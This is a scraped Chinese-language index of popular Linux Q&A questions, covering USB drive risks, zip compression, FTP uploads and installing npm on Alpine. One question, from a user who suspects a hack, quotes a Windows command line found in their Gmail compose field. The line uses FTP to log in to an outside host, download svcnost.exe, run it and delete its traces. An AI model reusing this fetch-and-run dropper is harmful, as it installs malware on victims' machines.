标签: linux

插入和浏览不受信任的 USB 驱动器有什么危险?

假设有人要我将一些文件复制到他们的 U 盘。我正在运行完全修补的 Windows 7 x64,禁用自动运行(通过组策略)。我插入 USB 驱动器,在 Windows 资源管理器中打开它并将一些文件复制到其中。我不运行或查看任何现有文件。如果我这样做会发生什么坏事?

如果我在 Linux(例如 Ubuntu)中执行此操作会怎样?

请注意,我在寻找细节特定风险(如果有的话),而不是“这将是安全的,如果你不这样做”。

linux security windows-7 autorun usb-flash-drive

132
推荐指数
7
解决办法
1万
查看次数

将整个文件系统层次结构从一个驱动器复制到另一个驱动器

我想将整个文件系统层次结构从一个驱动器复制到另一个驱动器......即每个目录的内容以及 Linux 平台中的常规文件。很高兴知道使用可能的 Linux 内置函数来做到这一点的最佳方法。文件系统是一个 ext 系列。

linux filesystems

130
推荐指数
6
解决办法
23万
查看次数

如何在 Debian 上安装真正的 Firefox?

Debian 6(“Squeeze”)使用名为Iceweasel的 Firefox 更名版本。然而,它缺乏插件支持,而且我最喜欢的大多数都不起作用。

那么在 Debian 上安装“真正的”Firefox 的最佳方法是什么?

linux firefox debian

130
推荐指数
5
解决办法
56万
查看次数

为什么 Zip 能够压缩比具有相同内容的多个文件更小的单个文件?

假设我有 10,000 个 XML 文件。现在假设我想将它们发送给朋友。在发送它们之前,我想压缩它们。

方法 1:不要压缩它们

结果:

Resulting Size: 62 MB
Percent of initial size: 100%
Run Code Online (Sandbox Code Playgroud)

方法 2:压缩每个文件并向他发送 10,000 个 xml 文件

命令:

for x in $(ls -1) ;  do   echo $x ; zip "$x.zip" $x ; done
Run Code Online (Sandbox Code Playgroud)

结果:

Resulting Size: 13 MB
Percent of initial size: 20%
Run Code Online (Sandbox Code Playgroud)

方法 3:创建包含 10,000 个 xml 文件的单个 zip

命令:

zip all.zip $(ls -1)
Run Code Online (Sandbox Code Playgroud)

结果:

Resulting Size: 12 MB
Percent of initial size: 19%
Run Code Online (Sandbox Code Playgroud)

方法 4:将文件连接成一个文件并压缩它

命令:

cat *.xml > oneFile.txt ; zip …
Run Code Online (Sandbox Code Playgroud)

linux zip

130
推荐指数
6
解决办法
2万
查看次数

从命令行手动关闭端口

我想关闭客户端和服务器应用程序之间处于侦听模式的开放端口。

Linux 中是否有任何手动命令行选项来关闭端口?

注意: 我开始知道“只有拥有连接的套接字的应用程序才能关闭它,这会在应用程序终止时发生。”

我不明白为什么只有打开它的应用程序才有可能......但我仍然很想知道是否还有其他方法可以做到这一点。

linux port sockets

129
推荐指数
6
解决办法
53万
查看次数

如何识别我的 Linux 计算机是否被黑客入侵?

我的家用电脑通常是开着的,但显示器是关着的。今晚我下班回家,发现看起来像是一次黑客攻击:在我的浏览器中,我的 Gmail 是打开的(那是我),但它处于撰写模式,在该TO字段中包含以下内容:

md /c echo open cCTeamFtp.yi.org 21 >> ik &echo user ccteam10 765824 >> ik &echo binary >> ik &echo get svcnost.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &svcnost.exe &exit echo 您已拥有

对我来说,这看起来像 Windows 命令行代码,并且代码的md开头加上 Gmail 处于撰写模式的事实,很明显有人试图运行cmd命令。我想我很幸运,我实际上没有在这台 PC 上运行 Windows,但我有其他人这样做。这是有史以来第一次这样的事情发生在我身上。我不是 Linux 专家,当时除了 Firefox 之外我没有运行任何其他程序。

我绝对确定这不是我写的,而且没有其他人在我的电脑旁。此外,我最近将我的 Google 密码(以及我的所有其他密码)更改为类似的内容,vMA8ogd7bv因此我不认为有人入侵了我的 Google 帐户。

刚刚发生了什么?当我的计算机不是运行恶意软件多年的老奶奶的旧 Windows 计算机,而是最近安装的新 Ubuntu 时,有人如何在我的计算机上敲击键盘?

更新:
让我解决一些要点和问题:

  • 我在奥地利,在乡下。我的 WLAN 路由器运行WPA2 / PSK和字典中没有的中等强度密码;必须是蛮力,而且距离这里不到 …

linux security

129
推荐指数
4
解决办法
2万
查看次数

创建具有多个目录和文件位置的 tar

我有一些位于不同位置的脚本和文件,例如:

  • /etc/dir1
  • /var/www/html
  • /home/somedir

我想制作一个 tar 文件,以便它复制具有位置结构的文件和文件夹。当我解压到另一个位置时,所有文件都将被复制到正确路径中各自的位置;与制作 tar 的地方相同。

linux centos tar

129
推荐指数
2
解决办法
23万
查看次数

128
推荐指数
6
解决办法
20万
查看次数

如何从命令行通过FTP上传一个文件?

我需要从 Ubuntu 上传一个文件到 FTP 服务器。此操作应在脚本中完成(在非交互模式下)。什么是正确的语法ftp

我正在尝试这个,但无济于事:

$ ftp -u ftp://user:secret@ftp.example.com my-local-file.txt
ftp: Invalid URL `ftp://'
Run Code Online (Sandbox Code Playgroud)

linux ftp ubuntu

128
推荐指数
5
解决办法
40万
查看次数

如何在 alpine linux 中安装 npm

所以我无法在 alpine linux 中安装 npm。我想也许我可以只做一个apk add npm但显然apk search npm什么都不返回,即使在apk update. 我正在从 nginx:alpine docker 图像中尝试所有这些,即docker run -it nginx:alpine /bin/sh

编辑 1:我可以看到nodejs:alpine dockerfile 是如何构建的node,但我不明白它是如何构建的npm

编辑 2:现在我知道 npm 在 alpine 上与 nodejs 一起安装,只是为了澄清起见,起初这对我来说并不明显的原因是在 ubuntu 14.04 上 asudo apt-get install nodejs仍然需要一个sudo apt-get install npm(例如安装开发包gcc

linux alpine-linux

128
推荐指数
5
解决办法
19万
查看次数